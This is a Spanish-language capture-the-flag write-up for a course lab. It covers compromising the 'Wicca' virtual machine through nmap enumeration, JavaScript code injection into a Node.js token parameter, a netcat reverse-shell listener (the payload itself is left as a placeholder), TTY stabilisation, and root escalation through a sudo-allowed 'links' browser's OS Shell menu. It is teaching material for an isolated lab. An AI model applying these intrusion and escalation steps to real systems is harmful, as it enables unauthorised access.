Writeup — Máquina Wicca (Tarea #1)

Resolución completa de la máquina Wicca, la primera tarea del curso. Video arriba con el paso a paso en vivo, resumen técnico abajo.

1. Setup en VirtualBox

Importamos las dos VMs:

  • Kali Linux → archivo .vbox (abrir con Open en VirtualBox).
  • Wicca → archivo .ova (abrir con Import Appliance).

2. Red NAT dedicada

Kali por defecto usa 10.0.2.0/24, lo que choca con otras redes NAT. Creamos una red aparte para el lab:

  • Nombre: red SEGINFO
  • CIDR: 10.0.3.0/24

Luego, en la configuración de red de ambas VMs: adaptador conectado a NAT Networkred SEGINFO.

Resultado:

MáquinaIP
Wicca10.0.3.3
Kali10.0.3.4

3. Enumeración

nmap -sV 10.0.3.3

Servicios expuestos:

  • 22/tcp — OpenSSH
  • 80/tcp — Apache (página por defecto)
  • 5000/tcp — Node.js (app Middlware)

En el puerto 5000 hay una app que genera tokens a partir de un input. Al inyectar 2+2 en el campo devuelve un error de JavaScript → el servidor evalúa el input como código. Clásico RCE sobre Node.

4. Reverse shell — RCE en Node.js

Usamos revshells.com filtrando por Linux / Node.js. Las primeras variantes se caían al conectarse; la que funcionó fue la nodejs 2 URL-encoded En Kali:

nc -lvnp 9001

En Wicca, enviando el payload como valor del token:

http://10.0.3.3:5000/?name=Seba&token=<payload-node-url-encoded>

Shell recibida como usuario aleister.

aleister@wicca:~$ cat user.txt
# → primera flag

5. Estabilización del TTY

La shell inicial es cruda (sin autocompletado, Ctrl+C mata netcat, etc). Se estabiliza así:

# dentro de la reverse shell:
script /dev/null -c bash

# en la shell local de Kali (Ctrl+Z primero):
stty raw -echo; fg

# de vuelta en la shell remota:
reset
xterm

Queda una terminal decente para trabajar.

6. Escalada de privilegios

sudo -l
User aleister may run the following commands on wicca:
  (root) NOPASSWD: /usr/bin/links

links es un navegador web para terminal. Buscando en GTFOBins (o simplemente explorando los menús): al abrirlo con sudo links, presionamos Esc → menú FileOS Shell → obtenemos shell como root.

sudo /usr/bin/links
# Esc → File → OS Shell
# whoami → root
cat /root/root.txt
# → segunda flag

Tips para el informe

Cuando saquen capturas de pantalla, incluyan su nombre/alias en el prompt o en un echo antes del comando. Esto evita que el profe piense que copiaron el writeup de internet (todos los writeups públicos aparecen con kali@kali). Ver el post anterior sobre cómo cambiar el hostname.

Resumen del ataque

  1. Enumeración con nmap → identificar servicio vulnerable (Node.js).
  2. Probar inyección de código JS en el parámetro token.
  3. Reverse shell URL-encoded para Node.js → usuario aleister.
  4. Estabilizar TTY.
  5. sudo -llinks sin contraseña.
  6. Escape con OS Shell desde links → root.

Dos flags. Nos vemos en clases.